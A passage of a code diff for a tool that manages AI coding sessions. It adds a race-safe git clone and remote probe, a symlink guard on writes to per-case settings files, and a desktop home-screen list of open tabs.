+  }
+  const remainingMs = Math.max(1, timeoutMs - (Date.now() - queuedAt));
+  try {
+    return await new Promise<GitRun>((resolve) => {
+      let child: ReturnType<typeof spawn>;
+      try {
+        child = spawn('git', args, {
+          env: gitNonInteractiveEnv(),
+          stdio: ['ignore', 'pipe', 'pipe'],
+          detached: true,
+        });
+      } catch (err) {
+        resolve({ stdout: '', stderr: '', code: null, timedOut: false, spawnError: String(err) });
+        return;
+      }
+
+      let stdout = '';
+      let stderr = '';
+      let stdoutBytes = 0;
+      let timedOut = false;
+      let settled = false;
+      let killTimer: NodeJS.Timeout | undefined;
+
+      const killTree = (signal: NodeJS.Signals) => {
+        try {
+          if (child.pid) process.kill(-child.pid, signal);
+        } catch {
+          try {
+            child.kill(signal);
+          } catch {
+            /* already gone */
+          }
+        }
+      };
+
+      const timer = setTimeout(() => {
+        timedOut = true;
+        killTree('SIGTERM');
+        killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
+      }, remainingMs);
+
+      child.stdout?.on('data', (chunk: Buffer) => {
+        stdoutBytes += chunk.length;
+        if (stdoutBytes <= maxStdoutBytes) stdout += chunk.toString('utf-8');
+      });
+      child.stderr?.on('data', (chunk: Buffer) => {
+        stderr += chunk.toString('utf-8');
+        // Keep a bounded tail rather than the whole (potentially huge) stream.
+        if (stderr.length > MAX_STDERR_BYTES * 2) stderr = stderr.slice(-MAX_STDERR_BYTES);
+      });
+
+      const finish = (result: GitRun) => {
+        if (settled) return;
+        settled = true;
+        clearTimeout(timer);
+        if (killTimer) clearTimeout(killTimer);
+        resolve(result);
+      };
+
+      child.on('error', (err) => finish({ stdout, stderr, code: null, timedOut, spawnError: String(err) }));
+      child.on('close', (code) => finish({ stdout, stderr, code, timedOut }));
+    });
+  } finally {
+    releaseGitSlot();
+  }
+}
+
+/** Is a usable `git` on this machine? Memoized: the answer cannot change without a restart. */
+let gitAvailable: boolean | null = null;
+export function isGitAvailable(): boolean {
+  if (gitAvailable !== null) return gitAvailable;
+  try {
+    execFileSync('git', ['--version'], {
+      encoding: 'utf-8',
+      timeout: EXEC_TIMEOUT_MS,
+      stdio: ['ignore', 'pipe', 'ignore'],
+    });
+    gitAvailable = true;
+  } catch {
+    gitAvailable = false;
+  }
+  return gitAvailable;
+}
+
+/**
+ * Ask the remote what it has, without cloning: reachability, whether it can be
+ * read anonymously, its default branch, and its branch/tag lists (which the UI
+ * turns into a ref picker instead of a free-text field).
+ *
+ * Never throws — an unreachable remote is a normal answer here, not an error.
+ */
+export async function probeGitRemote(
+  repository: string,
+  timeoutMs = GIT_LS_REMOTE_TIMEOUT_MS
+): Promise<GitRemoteProbe> {
+  if (!isGitAvailable()) {
+    return {
+      reachable: false,
+      branches: [],
+      tags: [],
+      failure: classifyGitFailure('', false, 'ENOENT: git not found'),
+    };
+  }
+  const run = await runGit(buildLsRemoteArgs(repository), timeoutMs, MAX_LS_REMOTE_BYTES);
+  if (run.code !== 0 || run.spawnError) {
+    return {
+      reachable: false,
+      branches: [],
+      tags: [],
+      failure: classifyGitFailure(run.stderr, run.timedOut, run.spawnError),
+    };
+  }
+  const parsed = parseLsRemoteOutput(run.stdout);
+  return {
+    reachable: true,
+    ...(parsed.defaultBranch ? { defaultBranch: parsed.defaultBranch } : {}),
+    branches: parsed.branches,
+    tags: parsed.tags,
+    ...(parsed.truncated ? { truncated: true } : {}),
+  };
+}
+
+/**
+ * Clone `repository` into `destination`.
+ *
+ * git clones into an ATTEMPT-OWNED temp sibling (`.<name>.cloning-<random>`,
+ * dot-prefixed so an orphan from a crash never shows up as a case), which is
+ * atomically renamed into place on success. Two concurrent requests for the
+ * same destination used to both pass the existence check, and the loser's
+ * failure cleanup then deleted the WINNER's freshly cloned tree; now each
+ * attempt only ever creates and removes its own directory, the rename decides
+ * the winner, and the loser reports DESTINATION_EXISTS. The upfront existence
+ * check stays as the fast path for the common non-racing case.
+ *
+ * Never throws; every outcome is a `CloneResult`.
+ */
+export async function cloneRepository(opts: CloneOptions): Promise<CloneResult> {
+  if (!isGitAvailable()) {
+    return { ok: false, failure: classifyGitFailure('', false, 'ENOENT: git not found') };
+  }
+  if (opts.ref && !isSafeGitRef(opts.ref)) {
+    return {
+      ok: false,
+      failure: { code: 'REF_NOT_FOUND', message: 'Invalid branch or tag name.', stderr: '' },
+    };
+  }
+  if (existsSync(opts.destination)) {
+    return {
+      ok: false,
+      failure: { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: '' },
+    };
+  }
+
+  // Sibling of the destination (same filesystem), so the rename is atomic.
+  const attemptDir = join(
+    dirname(opts.destination),
+    `.${basename(opts.destination)}.cloning-${randomBytes(6).toString('hex')}`
+  );
+  const run = await runGit(
+    buildCloneArgs({ ...opts, destination: attemptDir }),
+    opts.timeoutMs ?? GIT_CLONE_TIMEOUT_MS,
+    MAX_STDERR_BYTES
+  );
+  if (run.code === 0 && !run.spawnError) {
+    try {
+      await rename(attemptDir, opts.destination);
+      return { ok: true, stderr: sanitizeGitOutput(run.stderr) };
+    } catch (err) {
+      // Renaming a directory onto an existing non-empty one fails: someone
+      // else won the race. Clean up OUR tree only; theirs is never touched.
+      await rm(attemptDir, { recursive: true, force: true }).catch(() => {});
+      const code = (err as NodeJS.ErrnoException).code;
+      if (code === 'EEXIST' || code === 'ENOTEMPTY' || code === 'ENOTDIR' || code === 'EPERM') {
+        return {
+          ok: false,
+          failure: { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: '' },
+        };
+      }
+      return {
+        ok: false,
+        failure: {
+          code: 'FAILED',
+          message: `Could not move the finished clone into place: ${String(err)}`,
+          stderr: '',
+        },
+      };
+    }
+  }
+
+  // Remove ONLY this attempt's temp directory (git may have written a partial
+  // tree, or nothing at all). The destination is never deleted on failure.
+  await rm(attemptDir, { recursive: true, force: true }).catch(() => {});
+  return { ok: false, failure: classifyGitFailure(run.stderr, run.timedOut, run.spawnError) };
+}

src/hooks-config.ts

@@ -30,7 +30,7 @@
 
 import { randomBytes } from 'node:crypto';
 import { existsSync } from 'node:fs';
-import { readFile, writeFile, mkdir, lstat, readdir, rename, unlink, rmdir } from 'node:fs/promises';
+import { readFile, writeFile, mkdir, lstat, readdir, realpath, rename, unlink, rmdir } from 'node:fs/promises';
 import { join, dirname } from 'node:path';
 import { fileURLToPath } from 'node:url';
 
@@ -288,6 +288,64 @@ function withSettingsLock<T>(path: string, fn: () => Promise<T>): Promise<T> {
   return run;
 }
 
+/**
+ * Why writing into `<casePath>/.claude/settings.local.json` must NOT proceed,
+ * or null when it is safe.
+ *
+ * Case contents can be FOREIGN (a freshly cloned repository, an imported
+ * tree): `.claude` or the settings file itself can arrive as a symlink
+ * pointing anywhere on this machine, and `writeFile` follows links, so a
+ * scaffold write would land outside the case, up to and including replacing
+ * the user's own `~/.claude/settings.json` (#251 review). Any symlink in the
+ * chain, or a `.claude` that resolves outside the case, refuses the write.
+ * A missing `.claude` is fine (the writer creates it).
+ */
+export async function settingsWriteBlocker(casePath: string): Promise<string | null> {
+  const claudeDir = join(casePath, '.claude');
+  try {
+    const dirStat = await lstat(claudeDir).catch(() => null);
+    if (dirStat?.isSymbolicLink()) return 'its .claude is a symlink';
+    if (dirStat && !dirStat.isDirectory()) return 'its .claude is a file, not a directory';
+    if (dirStat && (await realpath(claudeDir)) !== join(await realpath(casePath), '.claude')) {
+      return 'its .claude directory resolves outside the case';
+    }
+    const settingsStat = await lstat(join(claudeDir, 'settings.local.json')).catch(() => null);
+    if (settingsStat?.isSymbolicLink()) return 'its .claude/settings.local.json is a symlink';
+  } catch (err) {
+    return `its .claude paths could not be verified (${String(err)})`;
+  }
+  return null;
+}
+
+/**
+ * The ONE gate for writing `<casePath>/.claude/settings.local.json`.
+ *
+ * Serializes writers per path (withSettingsLock) and, INSIDE the lock, refuses
+ * the write when `settingsWriteBlocker` reports the target unsafe. Every
+ * settings writer in this module must go through here rather than calling
+ * `writeFile` on the settings path itself, so a repository-controlled symlink
+ * can never redirect ANY of them outside the case (#251 review: the guard
+ * originally covered only two writers, and applyStatusLineConfig was shown
+ * writing through a symlinked settings file). Refusal is a console.warn, not
+ * a throw: hooks/statusline degrade gracefully and the session still runs.
+ */
+async function withSafeSettingsWrite(
+  casePath: string,
+  purpose: string,
+  fn: (claudeDir: string, settingsPath: string) => Promise<void>
+): Promise<void> {
+  const claudeDir = join(casePath, '.claude');
+  const settingsPath = join(claudeDir, 'settings.local.json');
+  await withSettingsLock(settingsPath, async () => {
+    const blocker = await settingsWriteBlocker(casePath);
+    if (blocker) {
+      console.warn(`[hooks-config] Refusing to write ${purpose} for ${casePath}: ${blocker}`);
+      return;
+    }
+    await fn(claudeDir, settingsPath);
+  });
+}
+
 /**
  * Generates the hooks section for .claude/settings.local.json
  *
@@ -471,8 +529,7 @@ function mergeCodemanHooks(existingValue: unknown, generated: Record<string, unk
 export async function stripCaseEnvKeys(casePath: string, keysToRemove: readonly string[]): Promise<void> {
   if (keysToRemove.length === 0) return;
 
-  const settingsPath = join(casePath, '.claude', 'settings.local.json');
-  await withSettingsLock(settingsPath, async () => {
+  await withSafeSettingsWrite(casePath, 'env-key removal', async (_claudeDir, settingsPath) => {
     if (!existsSync(settingsPath)) return;
 
     let existing: Record<string, unknown>;
@@ -504,9 +561,7 @@ export async function stripCaseEnvKeys(casePath: string, keysToRemove: readonly
  * Merges with existing env field; removes vars set to empty string.
  */
 export async function updateCaseEnvVars(casePath: string, envVars: Record<string, string>): Promise<void> {
-  const claudeDir = join(casePath, '.claude');
-  const settingsPath = join(claudeDir, 'settings.local.json');
-  await withSettingsLock(settingsPath, async () => {
+  await withSafeSettingsWrite(casePath, 'env vars', async (claudeDir, settingsPath) => {
     if (!existsSync(claudeDir)) {
       await mkdir(claudeDir, { recursive: true });
     }
@@ -537,9 +592,7 @@ export async function updateCaseEnvVars(casePath: string, envVars: Record<string
  * Pass a non-empty string to set, or empty/null to remove.
  */
 export async function updateCaseModel(casePath: string, model: string | null): Promise<void> {
-  const claudeDir = join(casePath, '.claude');
-  const settingsPath = join(claudeDir, 'settings.local.json');
-  await withSettingsLock(settingsPath, async () => {
+  await withSafeSettingsWrite(casePath, 'model', async (claudeDir, settingsPath) => {
     if (!existsSync(claudeDir)) {
       await mkdir(claudeDir, { recursive: true });
     }
@@ -564,11 +617,11 @@ export async function updateCaseModel(casePath: string, model: string | null): P
 /**
  * Writes hooks config to .claude/settings.local.json in the given case path.
  * Merges with existing file content, only touching the `hooks` key.
+ * Refuses (with a console.warn, not a throw: hooks degrade to output-based
+ * idle detection) when `settingsWriteBlocker` reports the target unsafe.
  */
 export async function writeHooksConfig(casePath: string): Promise<void> {
-  const claudeDir = join(casePath, '.claude');
-  const settingsPath = join(claudeDir, 'settings.local.json');
-  await withSettingsLock(settingsPath, async () => {
+  await withSafeSettingsWrite(casePath, 'hooks', async (claudeDir, settingsPath) => {
     if (!existsSync(claudeDir)) {
       await mkdir(claudeDir, { recursive: true });
     }
@@ -610,9 +663,7 @@ export async function writeHooksConfig(casePath: string): Promise<void> {
  * block they have never had), so that call is left to the owner rather than made here.
  */
 export async function ensureCodemanHooks(casePath: string): Promise<void> {
-  const claudeDir = join(casePath, '.claude');
-  const settingsPath = join(claudeDir, 'settings.local.json');
-  await withSettingsLock(settingsPath, async () => {
+  await withSafeSettingsWrite(casePath, 'hooks (ensure)', async (claudeDir, settingsPath) => {
     if (!existsSync(claudeDir)) {
       await mkdir(claudeDir, { recursive: true });
     }
@@ -653,9 +704,8 @@ export async function ensureCodemanHooks(casePath: string): Promise<void> {
  * when the hooks aren't ours, so it is cheap enough to call on every Claude spawn.
  */
 export async function refreshStaleCodemanHooks(casePath: string): Promise<void> {
-  const settingsPath = join(casePath, '.claude', 'settings.local.json');
-  if (!existsSync(settingsPath)) return;
-  await withSettingsLock(settingsPath, async () => {
+  if (!existsSync(join(casePath, '.claude', 'settings.local.json'))) return;
+  await withSafeSettingsWrite(casePath, 'hooks (refresh)', async (_claudeDir, settingsPath) => {
     let existing: Record<string, unknown>;
     try {
       existing = JSON.parse(await readFile(settingsPath, 'utf-8'));
@@ -724,10 +774,7 @@ export function generateStatusLineCommand(): string {
  * Claude mode. Merges, preserving all other keys (hooks, env, model).
  */
 export async function applyStatusLineConfig(casePath: string, enabled: boolean): Promise<void> {
-  const claudeDir = join(casePath, '.claude');
-  const settingsPath = join(claudeDir, 'settings.local.json');
-
-  await withSettingsLock(settingsPath, async () => {
+  await withSafeSettingsWrite(casePath, 'statusLine', async (claudeDir, settingsPath) => {
     let existing: Record<string, unknown> = {};
     if (existsSync(settingsPath)) {
       try {

src/session.ts

@@ -1219,7 +1219,9 @@ export class Session extends EventEmitter {
 
   /**
    * Returns a subset of env overrides safe for disk persistence (state.json).
-   * Only non-sensitive `CLAUDE_CODE_*` keys are included. `OPENCODE_*` keys are
+   * Only non-sensitive `CLAUDE_CODE_*` keys plus CLAUDE_CONFIG_DIR (a path, not
+   * a secret — and losing it across a restart would silently move a session back
+   * to the default Claude account, #255) are included. `OPENCODE_*` keys are
    * filtered out because the schema permits them and they can carry secrets
    * (e.g., OPENCODE_API_KEY); secrets must not land in `~/.codeman/state.json`.
    * Must NOT be included in any API-bound serializer — see toState() comment.
@@ -1228,7 +1230,7 @@ export class Session extends EventEmitter {
     if (!this._envOverrides) return undefined;
     const safe: Record<string, string> = {};
     for (const [key, value] of Object.entries(this._envOverrides)) {
-      if (key.startsWith('CLAUDE_CODE_')) safe[key] = value;
+      if (key.startsWith('CLAUDE_CODE_') || key === 'CLAUDE_CONFIG_DIR') safe[key] = value;
     }
     return Object.keys(safe).length > 0 ? safe : undefined;
   }

src/web/public/app.js

@@ -3686,6 +3686,8 @@ class CodemanApp {
     // (create, delete, idle, working, exit, hook alerts via updateTabAlertFromHooks)
     // already funnels through here. No-ops unless that surface is showing.
     this._refreshMobileOverviewIfVisible?.();
+    // Same deal for the desktop home screen's tab column.
+    this._refreshHomeSessionsIfVisible?.();
   }
 
   // Auto-wrap desktop session tabs to a second row when they overflow one row,

src/web/public/home-sessions.js

@@ -0,0 +1,335 @@
+/**
+ * @fileoverview Desktop home screen session list: the open tabs as a vertical
+ * column down the left of the welcome overlay.
+ *
+ * The welcome screen centers ~560px of content in a window that is usually
+ * 1400px+, so the two gutters are dead space. The left one now carries the same
+ * list a phone gets on its home screen (mobile-overview.js), turned vertical:
+ * one row per live tab, in TAB ORDER (not sorted by state) so it reads as the
+ * tab strip rotated, and so Alt+1..9 still matches what you see.
+ *
+ * DESKTOP ONLY, and only in a wide enough window: the column is absolutely
+ * positioned so the centered welcome content never moves, which means it can
+ * only exist where the gutter is genuinely wider than the column. Below
+ * `HOME_SESSIONS_MIN_WIDTH` nothing renders; on a phone the mobile overview owns
+ * the home screen entirely and this surface stays out of its way.
+ *
+ * The working state is deliberately identical to the phone's: a pulsing green
+ * dot ringed by the spinner a tab shows while it loads (`tab-load-spin`, reused
+ * from styles.css), plus a green halo. Same signal, same motion, both surfaces.
+ *
+ * Everything renders from state the page already holds (`this.sessions`,
+ * `this.cases`, `this.pendingHooks`, `this.webviews`) — no endpoint, no SSE
+ * event, no schema. State classification and case matching are reused from
+ * mobile-overview.js rather than re-derived, so the two home screens can never
+ * disagree about what "working" means.
+ *
+ * @mixin Extends CodemanApp.prototype via Object.assign
+ * @dependency app.js (this.sessions, this.cases, this.pendingHooks, selectSession)
+ * @dependency mobile-overview.js (_mobileOverviewState, _mobileOverviewCaseFor, shouldUseMobileOverview)
+ * @dependency webview-tabs.js (this.webviews, this.webviewOrder, openWebview)
+ * @dependency mobile-handlers.js (MobileDetection)
+ * @loadorder 12.56 of 16, after mobile-overview.js, before entrance-animations.js
+ */
+
+/**
+ * Narrowest window that gets the column. The welcome content is 560px wide and
+ * centered, so at 1180px each gutter is 310px — enough for the 256px column plus
+ * its 20px offset and still a visible gap. Anything narrower would overlap the
+ * search panel, which is why this is a width gate and not a device-type gate.
+ */
+const HOME_SESSIONS_MIN_WIDTH = 1180;
+
+/** Pill copy per state. Same words as the phone overview, same reasons. */
+const HOME_SESSIONS_PILL_LABEL = {
+  needs: 'needs you',
+  error: 'error',
+  waiting: 'waiting',
+  working: 'working',
+  idle: 'idle',
+  done: 'done',
+};
+
+/** Short backend badge, mirroring `.tab-mode` in the tab strip. */
+const HOME_SESSIONS_MODE_BADGE = {
+  shell: 'sh',
+  opencode: 'oc',
+  codex: 'cx',
+  gemini: 'gm',
+  antigravity: 'ag',
+};
+
+Object.assign(CodemanApp.prototype, {
+  // ═══════════════════════════════════════════════════════════════
+  // Gate + visibility
+  // ═══════════════════════════════════════════════════════════════
+
+  /**
+   * Width-driven, like every other layout decision in the app. Explicitly yields
+   * to the phone overview: that surface already lists the same sessions, and two
+   * lists of the same thing on one screen is worse than none.
+   */
+  shouldShowHomeSessions() {
+    if (this.isSoloWindow) return false;
+    if (this.shouldUseMobileOverview?.()) return false;
+    return window.innerWidth >= HOME_SESSIONS_MIN_WIDTH;
+  },
+
+  /** True while the column is the visible home surface. */
+  isHomeSessionsVisible() {
+    const el = document.getElementById('homeSessions');
+    return !!el && !el.hidden;
+  },
+
+  showHomeSessions() {
+    const el = document.getElementById('homeSessions');
+    if (!el) return;
+    this._wireHomeSessions(el);
+    if (!this.shouldShowHomeSessions()) {
+      el.hidden = true;
+      return;
+    }
+    el.hidden = false;
+    this.renderHomeSessions();
+  },
+
+  hideHomeSessions() {
+    const el = document.getElementById('homeSessions');
+    if (el) el.hidden = true;
+  },
+
+  /** Re-render only when showing (called from the tab renderer's tail). */
+  _refreshHomeSessionsIfVisible() {
+    if (!this.isHomeSessionsVisible()) return;
+    this._debouncedCall('homeSessions', () => this.renderHomeSessions(), 150);
+  },
+
+  /**
+   * One delegated click listener for every row, plus a width listener so
+   * resizing the window while on the home screen adds or drops the column
+   * instead of leaving it overlapping the content it was sized to clear.
+   */
+  _wireHomeSessions(el) {
+    if (this._homeSessionsWired) return;
+    this._homeSessionsWired = true;
+
+    el.addEventListener('click', (event) => {
+      const target = event.target?.closest?.('[data-hs-action]');
+      if (!target) return;
+      if (target.dataset.hsAction === 'session') {
+        void this.selectSession(target.dataset.hsSession);
+      } else if (target.dataset.hsAction === 'webview') {
+        void this.openWebview?.(target.dataset.hsWebview);
+      }
+    });
+
+    if (window.matchMedia) {
+      const mq = window.matchMedia(`(min-width: ${HOME_SESSIONS_MIN_WIDTH}px)`);
+      const onChange = () => {
+        // Only relevant while the welcome screen is up; entering a session
+        // re-decides through hideWelcome()/showWelcome() anyway.
+        if (this.activeSessionId) return;
+        const overlay = document.getElementById('welcomeOverlay');
+        if (!overlay || !overlay.classList.contains('visible')) return;
+        this.showHomeSessions();
+      };
+      if (mq.addEventListener) mq.addEventListener('change', onChange);
+      else if (mq.addListener) mq.addListener(onChange);
+    }
+  },
+
+  // ═══════════════════════════════════════════════════════════════
+  // Model
+  // ═══════════════════════════════════════════════════════════════
+
+  /**
+   * One row per live session, in the user's tab order. State classification is
+   * `_mobileOverviewState()` (mobile-overview.js) so both home screens agree on
+   * what counts as needing you; the ORDER differs on purpose — the phone sorts
+   * by urgency because it shows one screenful at a time, this column mirrors the
+   * tab strip so the number badges line up with Alt+1..9.
+   * @returns {Array<object>} row descriptors, ready to render
+   */
+  buildHomeSessionRows() {
+    const cases = Array.isArray(this.cases) ? this.cases : [];
+    const order = Array.isArray(this.sessionOrder) ? this.sessionOrder : [];
+    const ids = order.filter((id) => this.sessions?.has(id));
+    // A session created before the order list caught up would otherwise be
+    // invisible here while its tab already exists.
+    for (const id of this.sessions?.keys() || []) if (!ids.includes(id)) ids.push(id);
+
+    return ids.map((id, index) => {
+      const session = this.sessions.get(id);
+      const matched = this._mobileOverviewCaseFor(session.workingDir, cases);
+      const state = this._mobileOverviewState(session, this.pendingHooks?.get(id));
+      const mode = session.mode || 'claude';
+      return {
+        id,
+        index,
+        name: this.getSessionName ? this.getSessionName(session) : session.name || id.slice(0, 8),
+        mode,
+        modeBadge: HOME_SESSIONS_MODE_BADGE[mode] || '',
+        caseName: matched ? matched.name : '',
+        dir: this._shortenHomePath ? this._shortenHomePath(session.workingDir) : session.workingDir || '',
+        state,
+        pill: HOME_SESSIONS_PILL_LABEL[state] || state,
+      };
+    });
+  },
+
+  // ═══════════════════════════════════════════════════════════════
+  // Render
+  // ═══════════════════════════════════════════════════════════════
+
+  renderHomeSessions() {
+    const el = document.getElementById('homeSessions');
+    if (!el) return;
+
+    const rows = this.buildHomeSessionRows();
+    const webviews = (this.webviewOrder || []).map((id) => this.webviews?.get(id)).filter(Boolean);
+
+    // Nothing open means nothing to list: an empty framed box next to a
+    // first-run welcome screen is noise, not information.
+    if (!rows.length && !webviews.length) {
+      el.hidden = true;
+      el.replaceChildren();
+      return;
+    }
+    el.hidden = false;
+
+    el.replaceChildren();
+    el.appendChild(this._buildHomeSessionsHeader(rows.length + webviews.length));
+
+    const list = document.createElement('div');
+    list.className = 'home-sessions-list';
+    for (const row of rows) list.appendChild(this._buildHomeSessionRow(row));
+    for (const webview of webviews) list.appendChild(this._buildHomeSessionsWebviewRow(webview));
+    el.appendChild(list);
+  },
+
+  _buildHomeSessionsHeader(count) {
+    const header = document.createElement('div');
+    header.className = 'home-sessions-header';
+
+    const label = document.createElement('span');
+    label.className = 'home-sessions-title';
+    label.textContent = 'Open tabs';
+    header.appendChild(label);
+
+    const badge = document.createElement('span');
+    badge.className = 'home-sessions-count';
+    badge.setAttribute('data-i18n-skip', '');
+    badge.textContent = String(count);
+    header.appendChild(badge);
+
+    return header;
+  },
+
+  /**
+   * A session row. The state class drives the same visual language as the
+   * session tabs and the phone overview: green dot when it is fine (pulsing and
+   * ringed by the load spinner while working), a yellow row when it wants input,
+   * a red row when it asked a question.
+   */
+  _buildHomeSessionRow(row) {
+    const item = document.createElement('button');
+    item.type = 'button';
+    item.className = 'home-sessions-row home-sessions-row--' + row.state;
+    item.dataset.hsAction = 'session';
+    item.dataset.hsSession = row.id;
+    item.title = row.dir ? `${row.name} (${row.dir})` : row.name;
+
+    if (row.index < 9) {
+      const number = document.createElement('span');
+      number.className = 'home-sessions-number';
+      number.setAttribute('data-i18n-skip', '');
+      number.textContent = String(row.index + 1);
+      item.appendChild(number);
+    }
+
+    const dot = document.createElement('span');
+    dot.className = 'home-sessions-dot home-sessions-dot--' + row.state;
+    dot.setAttribute('aria-hidden', 'true');
+    item.appendChild(dot);
+
+    const body = document.createElement('span');
+    body.className = 'home-sessions-row-body';
+
+    const line1 = document.createElement('span');
+    line1.className = 'home-sessions-row-title';
+    if (row.modeBadge) {
+      const badge = document.createElement('span');
+      badge.className = `home-sessions-mode ${row.mode}`;
+      badge.setAttribute('data-i18n-skip', '');
+      badge.textContent = row.modeBadge;
+      line1.appendChild(badge);
+    }
+    const name = document.createElement('span');
+    // .session-name is in the i18n skip list: a session name is user content.
+    name.className = 'session-name';
+    name.textContent = row.name;
+    line1.appendChild(name);
+    body.appendChild(line1);
+
+    const line2 = document.createElement('span');
+    line2.className = 'home-sessions-row-sub';
+    line2.setAttribute('data-i18n-skip', '');
+    line2.textContent = row.caseName || row.dir || row.mode;
+    body.appendChild(line2);
+
+    item.appendChild(body);
+
+    const pill = document.createElement('span');
+    pill.className = 'home-sessions-pill home-sessions-pill--' + row.state;
+    // Skipped by i18n on purpose: generic single words ("idle", "done", "error")
+    // that collide with state strings on other surfaces.
+    pill.setAttribute('data-i18n-skip', '');
+    pill.textContent = row.pill;
+    item.appendChild(pill);
+
+    return item;
+  },
+
+  /** A saved dashboard, listed after the sessions exactly as in the tab strip. */
+  _buildHomeSessionsWebviewRow(webview) {
+    const item = document.createElement('button');
+    item.type = 'button';
+    item.className = 'home-sessions-row home-sessions-row--web';
+    item.dataset.hsAction = 'webview';
+    item.dataset.hsWebview = webview.id;
+    item.title = webview.url || webview.name;
+
+    const dot = document.createElement('span');
+    dot.className = 'home-sessions-dot home-sessions-dot--web';
+    dot.setAttribute('aria-hidden', 'true');
+    item.appendChild(dot);
+
+    const body = document.createElement('span');
+    body.className = 'home-sessions-row-body';
+
+    const title = document.createElement('span');
+    title.className = 'home-sessions-row-title';
+    const name = document.createElement('span');
+    // A dashboard name is user content.
+    name.className = 'case-name';
+    name.textContent = webview.name;
+    title.appendChild(name);
+    body.appendChild(title);
+
+    const sub = document.createElement('span');
+    sub.className = 'home-sessions-row-sub';
+    sub.setAttribute('data-i18n-skip', '');
+    sub.textContent = webview.url || '';
+    body.appendChild(sub);
+
+    item.appendChild(body);
+
+    const pill = document.createElement('span');
+    pill.className = 'home-sessions-pill home-sessions-pill--web';
+    pill.setAttribute('data-i18n-skip', '');
+    pill.textContent = 'web';
+    item.appendChild(pill);
+
+    return item;
+  },
+});

src/web/public/i18n.js

@@ -387,6 +387,9 @@
       '在手机上，点击 C 图标打开会话概览（需要你 / 空间 / 空闲），而不是欢迎页',
     Phone: '手机',
 
+    // Desktop home screen tab column (home-sessions.js)
+    'Open tabs': '打开的标签',
+
     // Session/case dialogs
     'Session Options': '会话选项',
     'Session Name': '会话名称',

src/web/public/index.html

@@ -322,6 +322,11 @@
 
       <!-- Welcome Overlay (shown when no session active) -->
       <div class="welcome-overlay" id="welcomeOverlay">
+        <!-- Open tabs as a vertical column in the left gutter (home-sessions.js).
+             Absolutely positioned so the centered content below never moves, and
+             therefore only rendered where the gutter is wider than the column;
+             ships `hidden` and only that module reveals it. -->
+        <aside class="home-sessions" id="homeSessions" hidden></aside>
         <div class="welcome-content">
           <h1 class="welcome-title">Codeman</h1>
           <p class="welcome-desc">Manage AI Coding tools in persistent tmux sessions.</p>
@@ -2065,6 +2070,7 @@
         </div>
         <div class="modal-tabs">
           <button class="modal-tab-btn active" data-tab="case-create">Create New</button>
+          <button class="modal-tab-btn" data-tab="case-clone" id="caseCloneTabBtn">Clone Repo</button>
           <button class="modal-tab-btn" data-tab="case-link">Link Existing</button>
           <button class="modal-tab-btn" data-tab="case-remote">Remote</button>
           <button class="modal-tab-btn" data-tab="case-docker">Docker</button>
@@ -2130,6 +2136,51 @@
               </div>
             </details>
           </div>
+          <!-- Clone Repo Tab (issue #236) -->
+          <div class="modal-tab-content hidden" id="case-clone">
+            <div class="form-row">
+              <label>Repository URL</label>
+              <input type="url" id="cloneRepoUrl" placeholder="https://github.com/owner/repo.git" autocomplete="off" autocapitalize="off" autocorrect="off" spellcheck="false" oninput="app.onCloneUrlInput()">
+              <span class="form-hint clone-status" id="cloneRepoStatus">Public repositories only: Codeman clones with no credentials.</span>
+            </div>
+            <div class="form-row">
+              <label>Case Name</label>
+              <input type="text" id="cloneCaseName" placeholder="repo" pattern="[a-zA-Z0-9_-]+" autocomplete="off" autocapitalize="off" spellcheck="false" oninput="app.onCloneNameEdited()">
+              <span class="form-hint">Filled in from the URL. Cloned into ~/codeman-cases/&lt;name&gt;, so deleting the case deletes this working tree.</span>
+            </div>
+            <div class="form-row">
+              <label>Branch or Tag (optional)</label>
+              <input type="text" id="cloneRepoRef" list="cloneRepoRefOptions" placeholder="default branch" autocomplete="off" autocapitalize="off" spellcheck="false">
+              <datalist id="cloneRepoRefOptions"></datalist>
+              <span class="form-hint" id="cloneRefHint">Leave blank for the repository's default branch.</span>
+            </div>
+            <div class="form-row">
+              <label>Brain</label>
+              <select id="cloneCaseBrain" class="form-select">
+                <option value="">Leave the Run button as it is</option>
+                <option value="claude" data-cli="claude">Claude Code</option>
+                <option value="codex" data-cli="codex">Codex</option>
+                <option value="gemini" data-cli="gemini">Gemini</option>
+                <option value="opencode" data-cli="opencode">OpenCode</option>
+                <option value="antigravity" data-cli="antigravity">Antigravity</option>
+                <option value="shell">Shell (no agent)</option>
+              </select>
+              <span class="form-hint">Which CLI to point the Run button at once the clone finishes. Changeable any time from the Run dropdown.</span>
+            </div>
+            <details class="advanced-options">
+              <summary>Clone options</summary>
+              <div class="advanced-options-content">
+                <div class="form-row">
+                  <label class="checkbox-row"><input type="checkbox" id="cloneShallow"> Shallow clone (--depth 1)</label>
+                  <span class="form-hint">Much faster on big repositories, but there is no history to read afterwards.</span>
+                </div>
+                <div class="form-row">
+                  <label class="checkbox-row"><input type="checkbox" id="cloneStartSession"> Start a session when the clone finishes</label>
+                </div>
+              </div>
+            </details>
+            <span class="form-hint" id="cloneCaseNote" style="margin-top: 8px; display: block;">The clone runs while this request is open, so a large repository takes a while. The case appears as soon as git finishes, even if the browser gave up waiting.</span>
+          </div>
           <!-- Link Existing Tab -->
           <div class="modal-tab-content hidden" id="case-link">
             <div class="form-row">
@@ -2769,6 +2820,7 @@
   <script defer src="session-ui.js"></script>
   <script defer src="webview-tabs.js"></script>
   <script defer src="mobile-overview.js"></script>
+  <script defer src="home-sessions.js"></script>
   <script defer src="entrance-animations.js"></script>
   <script defer src="ralph-wizard.js"></script>
   <script defer src="api-client.js"></script>

src/web/public/mobile.css

@@ -350,16 +350,53 @@ html.mobile-init .file-browser-panel {
    Phone Breakpoint (<430px)
    ============================================================================ */
 @media (max-width: 430px) {
+  /* Phones get a 44px header, up from 36px. Every header control is a touch
+     target and 44px is the floor for one; the brand "C" that gets you home is
+     the one that matters most. Redefined as the TOKEN rather than a literal so
+     the panels positioned off `var(--header-height)` (file browser, insights,
+     plan overlays in styles.css) follow it instead of drifting 8px under the
+     header. Costs 8px of terminal height on a phone. */
+  :root {
+    --header-height: 44px;
+  }
+
   /* Phone brand collapses to a single "C" home button: hide the wordmark,
      keep the tap target */
   .header-brand {
-    padding-right: 0.25rem;
-    margin-right: 0.2rem;
+    padding-right: 0;
+    margin-right: 0.1rem;
     border-right: none;
+    /* styles.css sizes this to the FULL header height, which is taller than the
+       header's padding box; centred by the header's `align-items: center` above,
+       that overflow is symmetric and the button lands flush with both edges.
